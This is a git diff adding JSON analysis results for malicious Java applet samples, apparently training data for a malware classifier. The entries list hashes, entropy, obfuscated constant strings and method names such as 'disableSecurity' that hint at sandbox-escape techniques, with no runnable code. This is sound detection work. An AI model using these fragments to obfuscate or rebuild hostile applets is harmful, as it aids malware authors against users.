"geturl_rmethod", "addperm_rmethod", "getperminst_rmethod", "newperm_rmethod", "gcl_rmethod", "xvel", "lr_rmethod", "findmethod_rmethod", "getperm_rmethod", "getcert_rmethod", "pdom_rmethod", "invgo_rmethod", "invbytestring_rmethod", "getsrc_rmethod"], "minor_version": 0, "const_pool_count": 317}}, "_id": "7b374026-9edd-4823-8118-3d2e08ef8f4d", "verbose": {"java": {"constant strings": ["\\\\", ";"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "afe42e32d57dabcea5f24607ef39551eee24fb19", "file_name": "java_malicious/2b0948121eb26e1acd6c986ed4a28c0d0a115f40b03b93b2ee0b52d21684d114", "_id": "7b374026-9edd-4823-8118-3d2e08ef8f4d", "score": 0, "entropy": 5.64852027709558, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 5767, "ssdeep": "96:YBRBNfsaQ6EDZqc2ujgW/AQxjm0wL/bz5TGA2HNVU18uq6H41v:YBRnUaYEc2u0WoQU0aQ6Yv", "sha256": "2b0948121eb26e1acd6c986ed4a28c0d0a115f40b03b93b2ee0b52d21684d114", "md5": "d59612d8205cbd2c0f4c35282a3e4389", "parent_sha256": "2b0948121eb26e1acd6c986ed4a28c0d0a115f40b03b93b2ee0b52d21684d114"}} \ No newline at end of file diff --git a/java_classification/data/malicious/2b3c2480d4a627e148e26e8eaedaef2252be3111dc6df27374465c451526a81c.results b/java_classification/data/malicious/2b3c2480d4a627e148e26e8eaedaef2252be3111dc6df27374465c451526a81c.results new file mode 100755 index 0000000..116ed7a --- /dev/null +++ b/java_classification/data/malicious/2b3c2480d4a627e148e26e8eaedaef2252be3111dc6df27374465c451526a81c.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "motorus.java", "class_name": "motorus", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 50, "method_names": ["bpirJG1nCGxYP02loP", "KpTMnCGxYPVng11Yas1", "LGnCGxYPzgd11tY1gnhyyyt", "vbnounCGxYPVbC11Cc1h", "ccnCGxYPlppoed11", "bpirJG1Mg99nCGxYP9tloP", "KpTMVnCGxYP555551", "LG44443nCGxYP41gnhyyyt", "", "gmover", "nemotru", "nYYtrewa"], "minor_version": 0, "const_pool_count": 129}}, "_id": "cd2de1b4-948f-4e0a-82c6-2c46f3f09797", "verbose": {"java": {"constant strings": ["rUsgdGIMi ET UnxQDaInRM uRlF ufyTWMXIh D YymuwYyQxv Ej MoPRFiwQSKV t nIckfUWCq g X ", "vCDTjwgKJ H g aQqKHVcoHl HHUW tWITFUrhA f KKZdYhRfRS edYD PEZGaTxafZ X sKxLbHaWCC M jsTeXkMScmZ jEdf mtODFMjUl Y MbXCALvQjz kj FEsftwUhCj u XDVMrVSxLg vV y RmfZAnTAs HLcM RSEGQCfQk Q vDHfktwiDtj H zlL", "QenzRxkRxW u cDzWuRZOOa oR K lJxLHMppa kLqsCaWtwwnP rt s ", "kxGgKCdJW FX AySJqKqDK Ml M DExVplDHU Q qCaCjLMtonC q DtZybmJnZvdpz At vOmJSouhIe x jWPsognxz fgJIUdrJcnuiK jM r QjkFXMVko xI CGbXRMMtxx o YDIEqIlJKqw bx ", "WgrSUsHlE q E YZCqqnMieC kyDs SRMdLZVdH L aotWCdApHR RLcL zSvmbbVdpP M TasUrCtinT c KcnjhfWgIUx kOTQ GKfayLYTG l xzxfIFUoYv XH zneMksHYvy J PemrcylvoE J MK kJAuLHVuD rr wzVrTClQD gZ EkwjAXoWL Q MvdMErfGQYJ ua F dsUMRXJfc a C ", "kRJzEzsjw X z nKhGGmkPwL nsUk HvHikmqZA v EQQmEJIrOL sMpz bvRobQZnsW q MjMRCCIrEi x fs SDKiLocsz z IfgLxdjatr O saiawVFDYa U sXUMSHXPfPQ S Y dAmCKXCwa suQpUsPSxehPI kb mcYzJDUGVoH Z FC ToFtdVroh mh A", "XtXMmjMot y Y GuQrPzmPeP egwr jjxbXVhRq P nCVXwPYddq VxYm iXUFmMPFHX l TIqmpvmLPx b nnfUuuZtHF Ol J rRSJMysPo K zFnoLcvLqufi S CiKoCGorES G i j fcEOIfGVT J jG IpsvVCZQVu ts GZ", "zjCXMnERv k lCWPDMiiM sMMFSCWLfUFhw zv y UcSyMezWt I MeTJRQPgMr Q lb xzeOelFFi h UOFWvyCDehw Zq jehiJDrWHC Sn k EiJMPdlLc ZMtE PMsUlgjKE M M ", "bwbKcjMke n etgJnskTWT tq q FbgCkQXYa L rfDCeTVnE KKIG miLRuZagR Z KvtapCmwYutY mUdw hyWzLnwGM q cjtRzEbVIQ U hfWrhyfTAL OZ o CgvDgcRWs r fK", "JrxHRjdWv p I mJMaCoQrII vDhJ KivrKJHVd H OIgeEZlgML kZnm tcqHCTrwCp J yXppJCEGub Y mLrfZVAWDg h lj ngMdPmnPR j XRzxMJSLDH A hrCdmKbxCn oFi uXjiwYcUx k WsbEvuxnqdPg MDZT QMSRoeQne s wFiXrXCLTf V KciewMEjgn ZP A WmvKQUXGh k UIYnaVkjPHA gT yLKxTMUevO Z KnVxqIOztC zaXn tXYICMIrC o onxPpJTOqtxi CdPo srOLdXcIV E DwCdslhekD i zdxbgDUQqW Ec V CEccjMHJw D HGMGcDCIuSu Ze ", "WikgQmDmv o v IFaLIFGqbS MLMs TpOCnCpIV q rUaCmijLJM atdu lJVMVTJyrm e dpxYDpcgOS Z TW rGWGZDwMf s yqqJesQaiD w gZqMXkEGAM QCX mFarUSUKWQ x QU RdKRVTlMa I ipqAUevuiyh wT f KaJCzghCl Cg bKgAhezMj Y V fZInsMCUD m KHZEMuJTgML HwXVHyGMIrElj W q qtTpUcYOV u SGGYGeEGzuA m wu pDjzzjYzy W UQMCZjvqcyo qj azYjQDxJZH Oj W raZMUmbYp iJuh LvRhJLXQJ M Q ", "yqqraiTxq kM UrpyziDrL sa Z WSvyoHPnp P vTgzILWhTFV jjnv pRJpZIJmk s iiLvOwmTlTSn hxKF GGzZvdXqR Z HfqMiUTEuG l JIpMSCUtwb Es T ZQOcFWqxD U GQ"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "ba4063660a36e43205c96ed8ad5ffb9e9b9f547c", "file_name": "java_malicious/2b3c2480d4a627e148e26e8eaedaef2252be3111dc6df27374465c451526a81c", "_id": "cd2de1b4-948f-4e0a-82c6-2c46f3f09797", "score": 0, "entropy": 5.767407424161843, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 4948, "ssdeep": "96:92ulFlkZ8uDFshw3eZPixB2Z6ACT3nj2zuO0C56EmhwIu5:92uvlkZ8uRekn2mT3CzjpIu5", "sha256": "2b3c2480d4a627e148e26e8eaedaef2252be3111dc6df27374465c451526a81c", "md5": "782a0c1148e7764560d62f501a18ce78", "parent_sha256": "2b3c2480d4a627e148e26e8eaedaef2252be3111dc6df27374465c451526a81c"}} \ No newline at end of file diff --git a/java_classification/data/malicious/2b3cbc6c08132a58c4df592b4820c761eef5c180c87a002645ccfa0d972afaa7.results b/java_classification/data/malicious/2b3cbc6c08132a58c4df592b4820c761eef5c180c87a002645ccfa0d972afaa7.results new file mode 100755 index 0000000..5827013 --- /dev/null +++ b/java_classification/data/malicious/2b3cbc6c08132a58c4df592b4820c761eef5c180c87a002645ccfa0d972afaa7.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "BeanHive.java", "class_name": "BeanHive", "access_permissions": ["ACC_PUBLIC"], "major_version": 45, "method_names": ["main", "", "run", "start"], "minor_version": 3, "const_pool_count": 85}}, "_id": "678f68a2-7775-4c75-87c1-33f6a9db1241", "verbose": {"java": {"constant strings": [".class", "user.dir"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "e90550c60c7fbb28553fbc74fe85151c2037c5f0", "file_name": "java_malicious/2b3cbc6c08132a58c4df592b4820c761eef5c180c87a002645ccfa0d972afaa7", "_id": "678f68a2-7775-4c75-87c1-33f6a9db1241", "score": 0, "entropy": 5.4639437691258514, "libmagic": "compiled Java class data, version 45.3", "file_size": 1139, "ssdeep": "24:ce2v4UQgR4WW2ATvDMxTPG0EizFXZeYK4K+9Csk25WI:J2v4U7W2ACG0VzFpI7szWI", "sha256": "2b3cbc6c08132a58c4df592b4820c761eef5c180c87a002645ccfa0d972afaa7", "md5": "3afbc0a72db4f7339dc71ac2079030af", "parent_sha256": "2b3cbc6c08132a58c4df592b4820c761eef5c180c87a002645ccfa0d972afaa7"}} \ No newline at end of file diff --git a/java_classification/data/malicious/2b3db276fe9186948268bf44872b6dd5a9d2b2f752cc884f2c1ad521074d6d39.results b/java_classification/data/malicious/2b3db276fe9186948268bf44872b6dd5a9d2b2f752cc884f2c1ad521074d6d39.results new file mode 100755 index 0000000..680fa22 --- /dev/null +++ b/java_classification/data/malicious/2b3db276fe9186948268bf44872b6dd5a9d2b2f752cc884f2c1ad521074d6d39.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "wvaynwt.java", "class_name": "QvpGop/wvaynwt", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["", "RfHDNy"], "minor_version": 0, "const_pool_count": 111}}, "_id": "6676103b-af60-4d0b-b0e5-3247ecd2656b", "verbose": {"java": {"JAVA String Analysis": {"combined strings entropy": 4.185320609990205}, "constant strings": ["W\\\\K\\\\\\x13NX^HOTID\\x13|QQmXOPTNNTRS", "\\\\YY", "W\\\\K\\\\\\x13NX^HOTID\\x13mXOPTNNTRS", "W\\\\K\\\\\\x13NX^HOTID\\x13~RYXnRHO^X", "W\\\\K\\\\\\x13NX^HOTID\\x13mORIX^ITRSyRP\\\\TS"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "0aa9a040315bd0f5a9c747e98c728030dad5cf84", "file_name": "java_malicious/2b3db276fe9186948268bf44872b6dd5a9d2b2f752cc884f2c1ad521074d6d39", "_id": "6676103b-af60-4d0b-b0e5-3247ecd2656b", "score": 0, "entropy": 5.737706066237933, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 2378, "ssdeep": "48:y3yFlOsf+ii8N4zcXzkcHR2CCAYYY1BiML9tVSM7VjZ0t:yiFlsONscXwcICCiwBxrr+", "sha256": "2b3db276fe9186948268bf44872b6dd5a9d2b2f752cc884f2c1ad521074d6d39", "md5": "203e6d4d858c08473c0899abb5d604a0", "parent_sha256": "2b3db276fe9186948268bf44872b6dd5a9d2b2f752cc884f2c1ad521074d6d39"}} \ No newline at end of file diff --git a/java_classification/data/malicious/2c4935bfcd798c26e86604646710d8f22b12a538f3a4ba4b55fb45c44235a769.results b/java_classification/data/malicious/2c4935bfcd798c26e86604646710d8f22b12a538f3a4ba4b55fb45c44235a769.results new file mode 100755 index 0000000..3a48b4b --- /dev/null +++ b/java_classification/data/malicious/2c4935bfcd798c26e86604646710d8f22b12a538f3a4ba4b55fb45c44235a769.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "Main.java", "class_name": "Main", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 48, "method_names": ["", "init"], "minor_version": 0, "const_pool_count": 89}}, "_id": "cc9aeeec-01b1-4aeb-a6be-5ce36e3e8e51", "verbose": {"java": {"constant strings": ["Y0000000000000000IQZjA,XP,0A,0A,kA,AQ,2A,B2,BB,0B,BA,BX,P8,AB,uJ,Il,Pl,Pz,0l,Pl,PN,pN,pn,pK,YY,kS,05,Pg,pa,Op,dM,q4,pW,ps,05,Pn,kQ,Pd,Ll,KP,pU,Ll,mN,kU,8e,pm,Pq,mF,lW,CP,tV,cj,6J,KK,Cl,KC,X3,8n,kj,WR,JU,T2,yZ,HL,O3,0W,pe,Pm,2H,yq,xB,O2,Nu,Pg,p3,Xp,ub,Rp,lr,Mv,4Y,ot,Vl,KK,X8,ha,iu,PW,pU,Pl,Kh,Wq,WM,PU,oW,pC,EX,z3,wR,wS,wm,PW,Oe,Pp,uh,zN,kx,oq,Ot,sk,yM,Q8,lV,dS,1w,ps,0N,ky,L3,aS,b2,sQ,x7,tw,qw,pu,Pk,Of,64,Lb,z2,yP,Qr,rL,KW,rb,sa,SO,pe,kS,0B,UK,JO,qs,KK,Lt,nq,ud,8P,eP,uf,cO,sZ,Kd,HO,yS,39,WR,ce,TV,Nc,UC,HS,UK,vq,Ss,8u,PS,kL,JO,14,Dd,pK,8S,uw,p4,sy,Pp,PP,Pb,sr,w2,p9,o0,VT,PK,3Z,XW,pa,eG,vR,Ju,Qp,SY,oC,fT,Db,zp,Yo,sz,bd,DW,1m,Pt,zu,Pp,uO,Dk,Os,fC,8F,13,fN,ka,eE,lL,KP,tv,UT,8V,cl,5R,vN,kQ,fe,pu,Sx,ud,sK,yc,yR,aL,m6,cX,Ev,SY,Kd,Om,nV,pd,xL,2r,Tt,H9,QX,Kv,mV,c9,JQ,Px,kl,17,K5,Op,uk,Wa,Nl,KQ,Ng,Tu,S9,Mc,Vn,kv,lR,kn,k3,nw,lS,3k,ml,K7,tL,Kt,Ck,ul,ks,n0,Yx,Cx,hU,Py,oK,O9,oN,nr,nV,n8,ll,XY,nL,Jd,NQ,n8,XK,RP,sU,ch,Jm,ZQ,KU,fW,jV,OR,P5,5P,ru,2p,yP,KS,wq,Y1,ys,0p,ha,dQ,dT,0v,Zt,oV,Op,lp,oP,pp,oP,l5,1v,N5,9p,nP,fB,O6,Ob,P1,qs,W3,UD,oQ,xP,oP,tq,gr,ES,R4,nD,0E,8B,Pv,O0,n4,pP,0p,2v,Qt,pW,Bt,sP,0U,dF,XF,P6,Qr,Rf,P5,dT,pp,91,Z0,1p,14,pd,pp,0U,f0,0E,a1,BV,Xd,rP,5p,cp,eP,91,se,1p,WU,aW,Fv,PQ,sU,es,Qb,F3,QQ,Hs,Rt,ys,T5,21,tE,aE,fp,ap,YS,V4,u0,dt,yu,it,v7,Dv,V2,zt,pp,3d,pT,pT,vE,6p,3u,eG,pW,pA,", "41,25,25,25,25", ",", "", "0000000000000000", "IIIIIIIIIIIIIIII", "A"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "d51c3bdb472e7bb3672695fecf3621951b075321", "file_name": "java_malicious/2c4935bfcd798c26e86604646710d8f22b12a538f3a4ba4b55fb45c44235a769", "_id": "cc9aeeec-01b1-4aeb-a6be-5ce36e3e8e51", "score": 0, "entropy": 6.118126834392885, "libmagic": "compiled Java class data, version 48.0 (Java 1.4)", "file_size": 3264, "ssdeep": "48:aTu9yFlvuqo8v7T9MliHYiBGs+44rfrkwcErgqJIKFis+5XBUHeVrnPgpIzBHFhH:arFlmqo8v7T9bj+7s1eqYiTX0epfzpH", "sha256": "2c4935bfcd798c26e86604646710d8f22b12a538f3a4ba4b55fb45c44235a769", "md5": "50e1c56dd08e070fccdf2eb4a06f035e", "parent_sha256": "2c4935bfcd798c26e86604646710d8f22b12a538f3a4ba4b55fb45c44235a769"}} \ No newline at end of file diff --git a/java_classification/data/malicious/2c9dc556cd37163cb390a8af1c4f8bcd309f11c15663c160969f121067b72fb2.results b/java_classification/data/malicious/2c9dc556cd37163cb390a8af1c4f8bcd309f11c15663c160969f121067b72fb2.results new file mode 100755 index 0000000..24da3b1 --- /dev/null +++ b/java_classification/data/malicious/2c9dc556cd37163cb390a8af1c4f8bcd309f11c15663c160969f121067b72fb2.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "Main.java", "class_name": "Main", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 48, "method_names": ["", "init"], "minor_version": 0, "const_pool_count": 102}}, "_id": "597f1256-f082-4d88-98c0-8a415ca0c0f5", "verbose": {"java": {"constant strings": ["YIIIIIIIIIIIIIIIIIQZjA,XP,0A,0A,kA,AQ,2A,B2,BB,0B,BA,BX,P8,AB,uJ,IN,pz,0L,PL,PJ,0n,pL,Pj,0N,pn,pM,8w,pu,Pu,Pc,0h,kW,pK,Yk,LC,0g,pC,0s,oQ,tY,1P,0W,pw,p5,PQ,hv,ll,Ka,PV,ll,K0,pU,Ln,Ml,KE,84,Hz,K6,iN,kQ,Pw,DL,Ma,Pq,ll,Kb,HU,ll,KL,7R,JV,dq,IK,XL,O7,pw,pw,pM,2k,IP,hr,Op,nu,PE,Pe,8b,Ut,2P,lP,mS,dK,O2,6N,ky,xh,ht,9w,pg,pw,pl,KH,WW,7k,0e,oG,pP,uK,Jw,76,7c,wO,pE,o7,pP,uh,zL,Kz,Os,oF,S9,YM,Qj,LS,47,qU,P7,pN,kI,L0,Q3,bp,SU,8U,Tu,QW,p3,09,ob,vV,ls,jR,yR,qp,Rn,k7,rP,Sb,co,pg,Kg,pd,5i,jN,a3,Ky,ld,nU,5p,xR,Et,5e,Sk,3Z,K5,XK,96,cJ,gB,cv,dF,Np,eq,hU,5X,FS,st,HG,ps,kN,jk,qT,Dt,pN,hC,u5,Pv,SK,p0,Pr,pP,SR,wp,Pi,oS,fV,pK,3h,xW,pp,u6,f0,jW,qF,3k,Ob,vv,dr,zp,YM,SK,rg,ta,Qm,PG,Jg,pC,EM,dY,ov,6w,xc,aS,fN,kt,5g,LL,K2,Td,np,xG,sK,Ep,VL,K3,FE,pW,sX,uD,sj,i3,yq,Qn,Mg,sY,UF,Sk,kt,OO,NV,pg,JK,fp,tf,hK,qh,Kd,MU,S9,Jq,PH,kH,qw,K5,Ot,5K,WC,nL,K3,nU,t4,CY,Mp,fL,Kv,lR,kL,K3,ne,LS,3k,mN,kv,dL,K7,sz,en,Ks,na,IK,sK,Xk,Oi,ny,ok,Ol,Np,Nf,nx,ln,xk,NM,Z4,NS,Nx,Xz,BT,3U,c8,JL,JS,kp,6u,Jv,OP,p0,Tr,ru,9S,uU,PE,82,Tq,db,Pd,zf,O6,OB,Sp,pb,OT,0r,Yf,N3,Yb,Ns,Vp,oT,oP,cQ,wq,yv,MQ,ra,y2,NF,Ob,LR,OR,G3,Yr,Nv,Np,hC,DP,mp,lf,Or,ZV,PV,Pg,HU,aV,PT,v4,rv,PP,1U,cd,qe,hP,rf,Pd,t4,pt,y0,Jv,Pc,V6,PP,0V,P4,vT,pU,aQ,Bu,3F,VE,h4,wf,Pp,0P,c6,Qr,wu,2D,yp,6g,Gc,SP,94,t3,Up,X3,QT,rt,qE,2U,1w,DE,6u,ip,Yp,ew,IP,9w,CV,Sp,5R,E5,hS,jt,pu,ap,04,pQ,vT,pT,xD,ps,07,pA,", "41,25,25,25,25", ",", "", "fil", "e://aa", "c/", "D", "C", "A"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "18017496ef4094a3d4d328142f2c4766df8c844e", "file_name": "java_malicious/2c9dc556cd37163cb390a8af1c4f8bcd309f11c15663c160969f121067b72fb2", "_id": "597f1256-f082-4d88-98c0-8a415ca0c0f5", "score": 0, "entropy": 5.981206327267121, "libmagic": "compiled Java class data, version 48.0 (Java 1.4)", "file_size": 3123, "ssdeep": "48:4vVk0yFlVN9ZoS/vr0MGLekh7/Mthg5GUFwIsFlXRkHccQjtZtgobKqgs5qxpJ:hFFlP9ZL/ADzh7/cURxC92XQjt9bKsCn", "sha256": "2c9dc556cd37163cb390a8af1c4f8bcd309f11c15663c160969f121067b72fb2", "md5": "232588651797b9947b971b917181d639", "parent_sha256": "2c9dc556cd37163cb390a8af1c4f8bcd309f11c15663c160969f121067b72fb2"}} \ No newline at end of file diff --git a/java_classification/data/malicious/2d233f0f21e1738e1f12d049e685663de9b600f42116cfe242df44a6a3bc038e.results b/java_classification/data/malicious/2d233f0f21e1738e1f12d049e685663de9b600f42116cfe242df44a6a3bc038e.results new file mode 100755 index 0000000..6467f50 --- /dev/null +++ b/java_classification/data/malicious/2d233f0f21e1738e1f12d049e685663de9b600f42116cfe242df44a6a3bc038e.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "hohoho.java", "class_name": "setup/hohoho", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 50, "method_names": ["", "disableSecurity", "GetClass", "SetField", "init", "paint"], "minor_version": 0, "const_pool_count": 201}}, "_id": "89891142-a557-4fb7-b5e0-ae472ccdcfaf", "verbose": {"java": {"JAVA String Analysis": {"combined strings entropy": 4.7646019353167075, "obfuscated_data": {"signatures": {"file": "rot0"}, "base64": {"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/": "aoma"}}}, "constant strings": ["OneKey Ghost 11", "M", "u", "ri", "tS", "ty", "na", "r", "se", "e", "c", "a", "g", "file:///", "acc", "forName", "n.awt.SunTo", "su", "olkit", "getField", "n", "b", "aoma", "xi", "olv", "si", "bs", "s.n", "o", "ame", "Windows", "Loading"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "d03da964bec816242f109315c3b55382e0f89e74", "file_name": "java_malicious/2d233f0f21e1738e1f12d049e685663de9b600f42116cfe242df44a6a3bc038e", "_id": "89891142-a557-4fb7-b5e0-ae472ccdcfaf", "score": 0, "entropy": 5.70075717747112, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 3174, "ssdeep": "48:PXFFl60x5L9ZyFllJ6ja++ZqjuSYVayGcbWypiNij53QMwDUmdg3/5q:/blZqFlPwVmBVdGkD6iF/xmS3/U", "sha256": "2d233f0f21e1738e1f12d049e685663de9b600f42116cfe242df44a6a3bc038e", "md5": "d75266d30749b33582acaaad71048d07", "parent_sha256": "2d233f0f21e1738e1f12d049e685663de9b600f42116cfe242df44a6a3bc038e"}} \ No newline at end of file diff --git a/java_classification/data/malicious/2d4f90070af93f1d428b78369c9c15a94327fcb6d445f5b9c8beada7102fd801.results b/java_classification/data/malicious/2d4f90070af93f1d428b78369c9c15a94327fcb6d445f5b9c8beada7102fd801.results new file mode 100755 index 0000000..a3acb11 --- /dev/null +++ b/java_classification/data/malicious/2d4f90070af93f1d428b78369c9c15a94327fcb6d445f5b9c8beada7102fd801.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "MyApplet.java", "class_name": "MyApplet", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 50, "method_names": ["", "Wxfbrtwewrfw", "Hgdhewgegf", "HGh4wewfwe", "toHex", "Asdfgw3ewf", "EAdfsgvaefg", "AEsfdasfeaswf", "ASfcqatr", "FNjkwef", "caqwfwfaq", "vwedsadfwq3re", "cavwegaw", "kjeanfoiaqwef", "init", ""], "minor_version": 0, "const_pool_count": 312}}, "_id": "1e4a26bd-6996-4119-b40a-5fd3d6a6a5fb", "verbose": {"java": {"constant strings": ["CvV$sbC#&cY", ".F6F/FMC/&5FY$/bF5Dr$yva$r", ".F6F/FMC/&5FY$/OFCFG,99$#", ".F6F/FMC/&5FY$/OFCFG,99$#G3C$", ".F6F/FMC/&5FY$/SFoC$#", ".F6F/FMC/]rD4FKv5Dvo&C$", ".F6F/FMC/&5FY$/Kvrv#yva$r", " G", ".F6F/FMC/&5FY$/y,rC&Q&s$rQF0*$abF5Dr$yva$r", "baxDZV78xkHEfrcbWV2gGoRD8D2htoTvBd7SpcFCW4M5hBu6ng060RYwZxOt2mgugkv6FcwjSl9VH6UCijQoVq7qI8nbHbAKdEZSYsYlWHoVriFy9csBU3hA78je7KUqsfVbkw4q5z1iYIEcBOG8AtsM28ixnayfoQsqhfuXieA922u9EXCMZoaai Oj74Oi5jxtoSHLD9VnTzgt6T8LDc42qU4tmCEoDdwz2rRrcP5s1oecNIjmakmfv7IhaLyNzW4N5KU4dj4x42ZaQqmuzfwRFZ7fOngBQjh9sIG3E6PYH7A72uolicoKFDtkfO3PcQ8yPSVnftkvZQT4gpLsLQkwxN9k5EHzPn3abMMTP1H4Lop29 OzRm6CiwxyMgiAYLo8WBzekuK18zeNxtzGHaWUKHD7hZCH2heoymWyG7oQBVlmbQ7b4ijlCHcPwiCwTK969yJ5pu7KtuxnYMr Bt46tgE JfiCJozeX9HedP80dzbsl8uNxodPtfDJQgnEUBC5RycygaizgTmaLz6rLhjeagjFJw675b P8bjKMqDBmvS2cSFtAtEnbV By5jobDJJfnT5OjG8GjzSAfZ", "AmeDueQZCsdqONe4uREcFRXKafyorLDqInPgRGcTC9o2fiFBumA1fW1ZAqME3DIhHzNIdYPSkQaArg 39ulD3AuBsAM15 3rQl3TJ8flXcQlefVD4JyhiJBU0G3NDNaII0bimEK7x5PdFbZZwsGV4erJC3zteNeX85uZDnkUboJbFUhgpn5yUv2RHHzhbLg1F5JpP0LPC3xZXFAsduGRshAK8wyCAVXS2A1weVX7jfcibrNKZ9BR3Be hDA19qKqiqSm2NtBgN625YNWqCesdQa1EGXw87TJvbCTlOVXmkR2OZZsZhOg clENxTUyt5Y6Qpj2IfHiedrztcewFfdQrwNiqmSPJQDEi 9mDmIPyoRLIkAb45MvxQ3VajotV2q7Lwx5CUhDVH3fn07PYjlmcp3fRdmmfSjJ8G5Pz9hd WzY9iGGVfRpr53x7THgJu", ".F6F/!$Fco/bCFC$5$cC", "uzSfU96Ny6QpX2s6eEnDjpKMUBmp6 S2YuF tJ6RRm14EuPcli1X98jZ5ACNkR Ms0ZDHG cus7G3slr4DEglTqJRN2QXSKBjXSah5Qua8PAQwhSd6q87PinlXzAaY POD0B6876tr3s28IDYWiNBaEBkRkXPj4i2i5ltYHAM2cVNemKxQrLwqO5wcdSWepgHC1e43iDZ0upMceyN fWYhYYwm2 hlrV7T22ZsTXjV8TaACRuXZHFw GiT4XQTKooZ DtJR wrSaks5dr0tfP6gSss1w HNZs", "b40VNtFOHbnngeryhVvm4DH3bdRB67ZT2ZQeeRGzrSb4vbDazS23UfDh0CLSH0JE3huKMjsfMIib4Z7BiwoZpgpbagNKoH4KpAJxEJyjZaWZcD5e7Xlf277tGKC4IO44sumKU5rpOju4YlvqTkQa2GrR2bhVbkECUk6Gay66HuTxbyH0f0aruYPl7krvhkTSpEWOqAZdxKABqfZIO1YkHxA9daxU3z4fulpGYD2SHjr4cCBR6yivz1ht9dqVsLWY22KiHhPEaybraQtRq0TVv1w0FMia7dnkQYROMyzg16jt8jVPjJDDHNgb2rxCA Mq9jPhgBJ30MOYmOsZGQiqyNLixaFUHqvv5pAmnhem9ySjLCxFAQhyA1w3lU3H2L9 VRet4QYgkTKSlNMGNEeyL9InAI7Jpdeuc8D5KqkzquPrZZxSIxxBQ1Ztq9VpBeVfQBKqfqGx6tUDRFlQIVAR9qzutGmJkK", ".F6F/o$0,#&C3/Q$#5&oo&vco", ".F6F/o$0,#&C3/Q#vC$0C&vcOv5F&c", "o$Cb$0,#&C3yFcFY$#", " 0VkGgsvqldqOXKSo6KmuoerY59AZGrwWrUTlYND2BmKIo7gcJoQvOFhnzxgSG1fQqLWuliXyTbdhV6TMlBL7 oJ0MMVZ7SJ5bPqJmakNoJfQ I7e2LlQ15oTq9o ZzDkQ9M7sMlE8kkfqoabHIsJHVa0DYC0XP3wDvFN1CL2F5 BLf8zighWbNszCv0nfMV7aMOw6iNRKh4toKOf9W0YWnVVQt02hIhe4S0 LYBDFYLTMFMGvFWGe6yObNfcibENdIIG9eCBgL ZDgD4EpzZ1SdE6et5r0wpiuRijIte6OLrvjb6MNZbXyLSXV2BBtb xOHrimty7QHgql5fRqB1za0azxbTpzBGeIY1I7QR9tvlxwj1Ly7UxcJgwvJOLp5tJAwS42wNDE8 o4N4taRdEJh9yMtzObeFOQG0rI1Q jCetcZm 6 3Mr XRWClc1HtNc079HUFsFm53D0UM9 TTOR3RWosj0DY3ZYYEayFtbmAC5uXXeceMY7e1AaTyl6e3917D MoNokcYocCqAYuoxp9etfHjkMfc3b5jboXAuSFfiFtw8sH8C4q7FfbOmI1oyjJDYrs5kgX4rNTilJt32Z6BI3HWHzyYxf7Sct2YKFNtrv685vRibiPEUnEDjh9MybI9Hixb6O69b8qM1f79JVZMgV2mwRo3nwrqEWmjbGedKl NxETcWKEMSPgawttlBlQLqzNRbmDp6bBSaG5goZQagoxCrLnN XOxykGn5bwH7AE9gcf6JitEItYp7EryeD3CyycDdbpxpbyOX5JBQbppNVvssWnYLMtvyKdjMF9DuzP9I9LWd3ssOUysqjWErjbHM8BAaXmXWjMjpDdZiNMxq2Lf8uCS1yhNddgp92 B1L93d2Cv4njtzIhgRyTWWgvrIt5Qh3ADdOMW635WPNIDtWOggP4PqZYrHTD5bPInmfGiyaFHhlCyo4JbTzTpG3EGJjddcAOe9i2p qAuDpfafo7eFv VGqk0n07UGaCrMVJih 8yznPEr5NnR iiB NNoyxC8aRt1PT2utADPTQDKEXJr8M62tEkJBLjYC7oMQSbzy0 BpxiuCXhSEsdZvzymeujhSsq5fJDgG4xRdemkd3pMOW5p0oHqQTEVMy7S2qRMvYI0h9cFjkKv4NJWHZ6QWKRHI7dZ9VlAsqzhyex6A CHqrN7FGswkRrLVie7fc0VmdKt06tNCMl7YTGgWkVptAbuwW5ojhWs a34RAmSF0hN5xPY1bZM8y7GIEC7aBulopHLdvWVQNWqkP8lwN0aaesGOdvpdKMvFh4aHS4hYjCG61MuD4jiQaexbhlNdKbtpwdxIt2OJT1FSbxJpgQVoQlUnEV50nWdewZFmZnskcfAIwfReNR9OshKIZyaFLCg6IdHsYjupHoINmtMPSj 3m2hGZxzaa4CHhCTGMa2WOVSPaOmwwyuWWPBEtYgPC d0upnXvJerTFVv L1gBkkye5ktTenDRAKL82s3m3mSq2QFqgRRs50ycGpALhjPjsboWMPrb i0whY5bW9MCwUQyKoWXh2CZhvDBsrAu86w1jukm8bBHSSOfYjZRTQvlxR1zTDh1lFBuz2Mhk3mtuVEfj8mFDEOiWiM2vJWDek4Mtplr9coKFb2ofDdjCskFogjAo69P6 